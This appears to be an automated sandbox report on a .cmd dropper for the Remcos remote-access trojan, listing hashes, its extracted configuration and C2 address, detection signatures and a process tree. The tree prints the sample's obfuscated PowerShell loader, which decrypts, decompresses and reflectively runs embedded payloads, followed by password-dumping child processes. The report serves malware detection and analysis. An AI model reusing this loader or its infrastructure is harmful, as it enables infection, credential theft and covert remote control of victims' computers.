Analysis

  • max time kernel
    147s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-03-2024 02:07

General

  • Target

    3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c.cmd

  • Size

    7.4MB

  • MD5

    606bc44bc3ce1ab5bec05a295ac81089

  • SHA1

    d95631873a15d6bf4c031ddf70052d438f5dbd83

  • SHA256

    3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c

  • SHA512

    c234ea302f4c3197436beb8d21955abeb6dedf0e1439cd2330428cf40a7b21e3ef7ecd9a71823d3391b441d0b428a8e86d4606192a91db934bdf7df6982e87d0

  • SSDEEP

    196608:l77777777777777777777777777777777777777777777777777777777777777g:u

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

91.92.251.30:2025

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-L2QP3G

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 1 IoCs
  • Detects executables built or packed with MPress PE compressor 14 IoCs
  • Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 2 IoCs
  • Detects executables referencing many email and collaboration clients. Observed in information stealers 2 IoCs
  • NirSoft MailPassView 2 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 2 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 6 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4956
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3972
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c.cmd';$KUZI='EleMrJamenMrJatMrJaAtMrJa'.Replace('MrJa', ''),'SrASbplrASbitrASb'.Replace('rASb', ''),'DcxuUecocxuUmpcxuUrescxuUscxuU'.Replace('cxuU', ''),'EnzKXdtzKXdrzKXdyzKXdPoizKXdntzKXd'.Replace('zKXd', ''),'CDKRroDKRrpDKRryTDKRroDKRr'.Replace('DKRr', ''),'CremHyIatemHyIDmHyIecmHyIrmHyIymHyIpmHyItomHyIrmHyI'.Replace('mHyI', ''),'LqXKhoadqXKh'.Replace('qXKh', ''),'FibFsromibFsBibFsasibFse6ibFs4SibFstibFsriibFsngibFs'.Replace('ibFs', ''),'MIkMWaIkMWiIkMWnMIkMWodIkMWulIkMWeIkMW'.Replace('IkMW', ''),'GEhZzetEhZzCEhZzuEhZzrrEhZzeEhZzntEhZzProEhZzcesEhZzsEhZz'.Replace('EhZz', ''),'InvYoJVokYoJVeYoJV'.Replace('YoJV', ''),'ChalJqNnlJqNgelJqNElJqNxtlJqNelJqNnslJqNiolJqNnlJqN'.Replace('lJqN', ''),'ReaHsIkdLiHsIknHsIkeHsIksHsIk'.Replace('HsIk', ''),'TyKjzranyKjzsyKjzforyKjzmFyKjziyKjznayKjzlBlyKjzockyKjz'.Replace('yKjz', '');powershell -w hidden;function DzchL($QfpjG){$iBRSE=[System.Security.Cryptography.Aes]::Create();$iBRSE.Mode=[System.Security.Cryptography.CipherMode]::CBC;$iBRSE.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$iBRSE.Key=[System.Convert]::($KUZI[7])('TYzwx+VQruSBclwTSei5OE5DbGGUAEnGVbMuihV8YQU=');$iBRSE.IV=[System.Convert]::($KUZI[7])('+LTXnHvK40EXoqLlqGzCsw==');$sGXqE=$iBRSE.($KUZI[5])();$riXCa=$sGXqE.($KUZI[13])($QfpjG,0,$QfpjG.Length);$sGXqE.Dispose();$iBRSE.Dispose();$riXCa;}function bmuCI($QfpjG){$PkJst=New-Object System.IO.MemoryStream(,$QfpjG);$TpSCv=New-Object System.IO.MemoryStream;$vgnKN=New-Object System.IO.Compression.GZipStream($PkJst,[IO.Compression.CompressionMode]::($KUZI[2]));$vgnKN.($KUZI[4])($TpSCv);$vgnKN.Dispose();$PkJst.Dispose();$TpSCv.Dispose();$TpSCv.ToArray();}$nUBNG=[System.IO.File]::($KUZI[12])([Console]::Title);$aWeUY=bmuCI (DzchL ([Convert]::($KUZI[7])([System.Linq.Enumerable]::($KUZI[0])($nUBNG, 5).Substring(2))));$PFrnG=bmuCI (DzchL ([Convert]::($KUZI[7])([System.Linq.Enumerable]::($KUZI[0])($nUBNG, 6).Substring(2))));[System.Reflection.Assembly]::($KUZI[6])([byte[]]$PFrnG).($KUZI[3]).($KUZI[10])($null,$null);[System.Reflection.Assembly]::($KUZI[6])([byte[]]$aWeUY).($KUZI[3]).($KUZI[10])($null,$null); "
        3⤵
          PID:1336
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          3⤵
          • Blocklisted process makes network request
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3800
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2740
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\txhqkjlbhclmxbwmncgonu"
            4⤵
              PID:5040
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\txhqkjlbhclmxbwmncgonu"
              4⤵
                PID:4276
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\txhqkjlbhclmxbwmncgonu"
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:2560
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\eaublbwuvkdrzhsqwnaiyhfypu"
                4⤵
                • Accesses Microsoft Outlook accounts
                PID:3604
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\guaumuhwjsvwknguoynjbmapyaaxm"
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4968
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 3800 -s 2816
                4⤵
                • Program crash
                PID:3540
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3800 -ip 3800
          1⤵
            PID:644

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_glemzf25.mnj.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Local\Temp\txhqkjlbhclmxbwmncgonu

            Filesize

            4KB

            MD5

            794bf931212af3178e85954ea35f687a

            SHA1

            e78eb5300a58c85256b08135673b991f8dfce664

            SHA256

            49911477803d5cea085304ff6af24310412e31d37b88ac30d5cbd890c98d5619

            SHA512

            4a1d63034421b56d8968da94049b83ed1a78f832d8fb92664e3dd5240531be8a277163a1c4ddefeafb18651e2cf8219adbdb82763d8b5c695e8ed8ce8250d6df

          • memory/2560-84-0x0000000000400000-0x0000000000478000-memory.dmp

            Filesize

            480KB

          • memory/2560-72-0x0000000000400000-0x0000000000478000-memory.dmp

            Filesize

            480KB

          • memory/2560-68-0x0000000000400000-0x0000000000478000-memory.dmp

            Filesize

            480KB

          • memory/2560-63-0x0000000000400000-0x0000000000478000-memory.dmp

            Filesize

            480KB

          • memory/2740-40-0x0000000074F40000-0x00000000756F0000-memory.dmp

            Filesize

            7.7MB

          • memory/2740-25-0x0000000074F40000-0x00000000756F0000-memory.dmp

            Filesize

            7.7MB

          • memory/2740-26-0x0000000004990000-0x00000000049A0000-memory.dmp

            Filesize

            64KB

          • memory/2740-27-0x0000000004990000-0x00000000049A0000-memory.dmp

            Filesize

            64KB

          • memory/2740-37-0x0000000004990000-0x00000000049A0000-memory.dmp

            Filesize

            64KB

          • memory/3604-78-0x0000000000400000-0x0000000000462000-memory.dmp

            Filesize

            392KB

          • memory/3604-64-0x0000000000400000-0x0000000000462000-memory.dmp

            Filesize

            392KB

          • memory/3604-70-0x0000000000400000-0x0000000000462000-memory.dmp

            Filesize

            392KB

          • memory/3604-73-0x0000000000400000-0x0000000000462000-memory.dmp

            Filesize

            392KB

          • memory/3800-44-0x0000000007380000-0x00000000073CC000-memory.dmp

            Filesize

            304KB

          • memory/3800-6-0x00000000054F0000-0x0000000005556000-memory.dmp

            Filesize

            408KB

          • memory/3800-23-0x00000000075E0000-0x0000000007C5A000-memory.dmp

            Filesize

            6.5MB

          • memory/3800-22-0x0000000006EE0000-0x0000000006F56000-memory.dmp

            Filesize

            472KB

          • memory/3800-21-0x0000000004880000-0x0000000004890000-memory.dmp

            Filesize

            64KB

          • memory/3800-20-0x0000000006140000-0x0000000006184000-memory.dmp

            Filesize

            272KB

          • memory/3800-19-0x0000000005C20000-0x0000000005C6C000-memory.dmp

            Filesize

            304KB

          • memory/3800-41-0x0000000002290000-0x0000000002298000-memory.dmp

            Filesize

            32KB

          • memory/3800-43-0x0000000077961000-0x0000000077A81000-memory.dmp

            Filesize

            1.1MB

          • memory/3800-0-0x0000000004700000-0x0000000004736000-memory.dmp

            Filesize

            216KB

          • memory/3800-45-0x0000000074F40000-0x00000000756F0000-memory.dmp

            Filesize

            7.7MB

          • memory/3800-46-0x0000000004A40000-0x0000000004A4C000-memory.dmp

            Filesize

            48KB

          • memory/3800-47-0x00000000073D0000-0x0000000007452000-memory.dmp

            Filesize

            520KB

          • memory/3800-18-0x0000000005BC0000-0x0000000005BDE000-memory.dmp

            Filesize

            120KB

          • memory/3800-17-0x0000000005650000-0x00000000059A4000-memory.dmp

            Filesize

            3.3MB

          • memory/3800-96-0x0000000074F40000-0x00000000756F0000-memory.dmp

            Filesize

            7.7MB

          • memory/3800-7-0x0000000005560000-0x00000000055C6000-memory.dmp

            Filesize

            408KB

          • memory/3800-24-0x0000000006F80000-0x0000000006F9A000-memory.dmp

            Filesize

            104KB

          • memory/3800-5-0x0000000004CE0000-0x0000000004D02000-memory.dmp

            Filesize

            136KB

          • memory/3800-77-0x0000000004880000-0x0000000004890000-memory.dmp

            Filesize

            64KB

          • memory/3800-4-0x0000000004EC0000-0x00000000054E8000-memory.dmp

            Filesize

            6.2MB

          • memory/3800-95-0x0000000077961000-0x0000000077A81000-memory.dmp

            Filesize

            1.1MB

          • memory/3800-3-0x0000000004880000-0x0000000004890000-memory.dmp

            Filesize

            64KB

          • memory/3800-91-0x0000000004880000-0x0000000004890000-memory.dmp

            Filesize

            64KB

          • memory/3800-90-0x0000000010000000-0x0000000010019000-memory.dmp

            Filesize

            100KB

          • memory/3800-2-0x0000000004880000-0x0000000004890000-memory.dmp

            Filesize

            64KB

          • memory/3800-1-0x0000000074F40000-0x00000000756F0000-memory.dmp

            Filesize

            7.7MB

          • memory/3800-86-0x0000000010000000-0x0000000010019000-memory.dmp

            Filesize

            100KB

          • memory/3800-89-0x0000000004880000-0x0000000004890000-memory.dmp

            Filesize

            64KB

          • memory/4968-82-0x0000000000400000-0x0000000000424000-memory.dmp

            Filesize

            144KB

          • memory/4968-81-0x0000000000400000-0x0000000000424000-memory.dmp

            Filesize

            144KB

          • memory/4968-79-0x0000000000400000-0x0000000000424000-memory.dmp

            Filesize

            144KB

          • memory/4968-66-0x0000000000400000-0x0000000000424000-memory.dmp

            Filesize

            144KB